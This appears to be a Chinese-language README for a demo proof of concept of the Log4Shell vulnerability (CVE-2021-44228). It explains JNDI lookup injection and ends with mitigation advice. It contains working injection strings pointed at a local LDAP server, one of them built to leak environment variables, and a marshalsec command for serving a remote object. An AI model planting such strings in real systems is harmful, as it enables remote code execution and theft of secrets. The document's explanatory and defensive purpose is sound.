
vulnerability POC
CVE-2021-44228:
此漏洞允许您通过在被攻击机器上记录恶意消息来执行任意代码。
例如,您可以在 Minecraft 中发送聊天消息来利用它,服务器/玩家机器会记录该聊天消息并执行您的代码。
LiveOverflow/CVE-2021-44228 视频
消息必须包含一个占位符 ${},指示加载远程对象 jndi API。它将通过 ObjectFactory 加载对象。
ldap://x.x.x.x:port/...http://x.x.x.x/...dns://x.x.x/...${jndi:ldap://127.0.0.1:1389/#}
如果客户端不存在 ObjectFactory,则不会发生任何操作。
除了解析服务器之外。
通过这种方式,您可以泄漏环境变量:
${jndi:ldap://127.0.0.1:1389/${env:java_home}}
为什么如此过度炒作?
如果我的理解正确,它提供了一个 JNDI 接口
哪些可以被利用
JNDI JDAP 是一个对象查找 API。
您可以从服务器获取 Java 对象。
marshalsec/LDAPRefServer
它发送对象数据以及 ObjectFactory 名称,该名称应在客户端构建对象。
它可以通过多种方式被利用。
如果 LDAP 被配置为信任外部代码,我们只需要提供一个恶意 ObjectFactory 的 URL。
com.sun.jndi.ldap.object.trustURLCodebase = true
或者存在另一个 Java 漏洞 JDK-8196902。
结合该漏洞,它将真正成为 RCE。
GitHub 上有多个 POC 仓库实现了这一点。例如 tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce
如果此项设置为 false(默认情况下为 false),我们可以在目标代码库中寻找可利用的 ObjectFactory,
或者以其他方式利用 JNDI。
关于 JNDI 注入的进一步阅读:
JNDI injection
Veracode Research/rogue-jndi
RCEExample 是一个记录恶意消息的函数。
只需点击运行即可运行它...
LoggerFactory 是一个 ObjectFactory,它会记录它得到的任何内容...
如果您构建了 marshalsec,您可以要求它使用 LoggerFactory
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1/#LoggerFactory"rce.RCEExample 并查看利用(日志记录器)。LoggerFactory 中设置断点,查看对象。如果您的程序只记录内置消息,则它不受影响。
如果程序可以记录来自任何数据文件或网络的文本,则它是易受攻击的。
但无论如何您应该修复它...
最好的办法是更新到 Log4J2 2.15.0+
如果由于某种原因无法做到,可以通过以下 Java 参数禁用 JNDI 查找:‐Dlog4j2.formatMsgNoLookups=True 以缓解漏洞。
如果您是 Minecraft 服务器管理员,请遵循官方指南:重要消息:Java 版安全漏洞